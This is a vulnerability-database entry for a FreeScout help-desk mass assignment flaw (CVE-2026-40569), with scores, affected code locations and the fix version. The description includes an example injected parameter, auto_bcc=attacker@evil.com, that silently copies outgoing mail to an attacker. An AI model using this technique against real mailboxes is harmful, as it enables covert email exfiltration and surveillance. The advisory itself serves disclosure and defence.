FreeScout's Mass Assignment in Mailbox Connection Settings Enables Silent Email Exfiltration

published 2026-04-21 6 mo ago modified 2026-06-17 4 mo ago also EUVD-2026-24171

cvss: 9.0; version 3.1, CNA
cisa kev: Not listed; not in CISA's catalog
epss: 0.3%; EPSS 0.3% chance of exploitation in 30 days, percentile 22%
public exploits: 0; none known

FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a mass assignment vulnerability in the mailbox connection settings endpoints of FreeScout (`connectionIncomingSave()` at `app/Http/Controllers/MailboxesController.php:468` and `connectionOutgoingSave()` at line 398). Both methods pass `$request->all()` directly to `$mailbox->fill()` without any field allowlisting, allowing an authenticated admin to overwrite any of the 32 fields in the Mailbox model's `$fillable` array -- including security-critical fields that do not belong to the connection settings form, such as `auto_bcc`, `out_server`, `out_password`, `signature`, `auto_reply_enabled`, and `auto_reply_message`. Validation in `connectionIncomingSave()` is entirely commented out, and the validator in `connectionOutgoingSave()` only checks value formats for SMTP fields without stripping extra parameters. An authenticated admin user can exploit this by appending hidden parameters (e.g., `auto_bcc=attacker@evil.com`) to a legitimate connection settings save request. Because the `auto_bcc` field is not displayed on the connection settings form (it only appears on the general mailbox settings page), the injection is invisible to other administrators reviewing connection settings. Once set, every outgoing email from the affected mailbox is silently BCC'd to the attacker via the `SendReplyToCustomer` job. The same mechanism allows redirecting outgoing SMTP through an attacker-controlled server, injecting tracking pixels or phishing links into email signatures, and enabling attacker-crafted auto-replies -- all from a single HTTP request. This is particularly dangerous in multi-admin environments where one admin can silently surveil mailboxes managed by others, and when an admin session is compromised via a separate vulnerability (e.g., XSS), the attacker gains persistent email exfiltration that survives session expiry. Version 1.8.213 fixes the issue.

Patch / fix

links 2

CISA SSVC

Exploitation: Proof of concept is public
Automatable: no
Technical impact: total
Assessed: 6 mo ago (2026-04-21)

Exploit prediction

0.30% chance of exploitation in the next 30 days, higher than 22% of all scored CVEs (FIRST EPSS, 2026-11-08).

Exploits and checks

github.com https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-hmqm-33wp-858j referenced PoC, tagged "exploit" by a source, unverified

CVSS scores

assigned by	version	score	vector
CNA	3.1	9.0	CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L

Affected products

freescout-help-desk freescout

Classification

Weakness

CWE-284 Improper Access Control
CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes

References

Sources

CVE List CVE-2026-40569
NVD CVE-2026-40569

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Summary